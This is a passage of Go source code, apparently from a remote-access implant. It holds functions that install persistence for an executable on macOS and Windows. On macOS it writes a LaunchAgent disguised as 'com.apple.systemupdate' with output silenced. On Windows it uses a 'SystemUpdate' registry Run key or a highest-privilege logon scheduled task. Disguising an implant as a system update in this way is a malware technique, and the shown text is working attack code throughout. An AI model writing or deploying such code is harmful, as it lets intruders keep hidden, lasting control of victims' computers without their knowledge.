<key>ProgramArguments</key><array><string>%s</string></array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
<key>StandardOutPath</key><string>/dev/null</string>
<key>StandardErrorPath</key><string>/dev/null</string>
</dict>
</plist>`, exe)
plistPath := filepath.Join(plistDir, "com.apple.systemupdate.plist")
if err := os.WriteFile(plistPath, []byte(plist), 0644); err != nil {
return "", "", "", err.Error()
}
return "persistence installed via LaunchAgent: " + plistPath, "", "", ""
}
return "", "", "", "persistence method not supported on darwin"
}
func persistWindows(exe, method string) (string, string, string, string) {
if method == "auto" || method == "registry" {
cmd := fmt.Sprintf(`reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "%s" /f`, exe)
out, err := runWithTimeout(cmd, 10)
if err == nil {
return "persistence installed via registry Run key: " + out, "", "", ""
}
}
if method == "auto" || method == "schtasks" {
cmd := fmt.Sprintf(`schtasks /create /tn "SystemUpdate" /tr "%s" /sc onlogon /rl highest /f`, exe)
out, err := runWithTimeout(cmd, 10)
if err == nil {
return "persistence installed via schtasks: " + out, "", "", ""
}
}
return "", "", "", "persistence failed on windows"
}
func getFloat(m map[string]interface{}, key string) float64 {
v, _ := m[key].(float64)
return v
}